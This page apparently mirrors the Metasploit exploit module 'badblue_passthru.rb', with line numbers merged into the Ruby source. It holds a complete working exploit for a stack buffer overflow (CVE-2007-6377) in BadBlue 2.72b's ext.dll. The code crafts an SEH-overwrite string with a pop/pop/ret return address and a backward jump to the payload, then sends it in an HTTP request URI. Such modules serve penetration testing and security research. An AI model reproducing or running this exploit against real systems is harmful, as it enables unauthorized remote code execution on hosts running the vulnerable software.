Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/badblue_passthru.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.9# However, a proper Server header is returned when requesting /index.html or using HEAD.10HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }1112include Msf::Exploit::Remote::HttpClient13include Msf::Exploit::Seh1415def initialize(info = {})16super(update_info(info,17'Name' => 'BadBlue 2.72b PassThru Buffer Overflow',18'Description' => %q{19This module exploits a stack buffer overflow in the PassThru20functionality in ext.dll in BadBlue 2.72b and earlier.21},22'Author' => [ 'MC' ],23'License' => MSF_LICENSE,24'References' =>25[26['CVE', '2007-6377'],27['OSVDB', '42416'],28['BID', '26803'],29],30'DefaultOptions' =>31{32'EXITFUNC' => 'thread',33},34'Privileged' => true,35'Payload' =>36{37'Space' => 750,38'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",39'StackAdjustment' => -3500,40#'EncoderType' => Msf::Encoder::Type::AlphanumUpper,41'DisableNops' => 'True',42},43'Platform' => 'win',44'Targets' =>45[46# This is the version being distributed on badblue.com as of Jul 7th 201047[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)48[ 'BadBlue 2.72b Universal', { 'Ret' => 0x10033f44 } ] # pop/pop/ret from ext.dll v1.0.0.149],50'DefaultTarget' => 0,51'DisclosureDate' => '2007-12-10'))52end5354def exploit55seh_offset = 411656#sploit = Rex::Text.pattern_create(seh_offset)57sploit = rand_text(seh_offset)58# Need to jump over the nul byte59seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')60sploit << seh6162plen = payload.encoded.length63sploit[seh_offset - 16 - plen, plen] = payload.encoded6465# This pointer will force a crash when it is used in a lock instruction66ptr = rand_text(3)67ptr << [0x80|rand(256)].pack('C')68sploit[seh_offset - 8,4] = ptr6970# These two bytes get corrupted, so we can't use them.71sploit << rand_text(2)7273# jump back to the payload74distance = 2 + 8 + 16 + plen75sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string767778# Build the final URI79uri = "/ext.dll?mfcisapicommand=PassThru&"80uri << sploit8182print_status("Trying target %s..." % target.name)83send_request_raw({ 'uri' => uri }, 5)8485handler86disconnect87end88end899091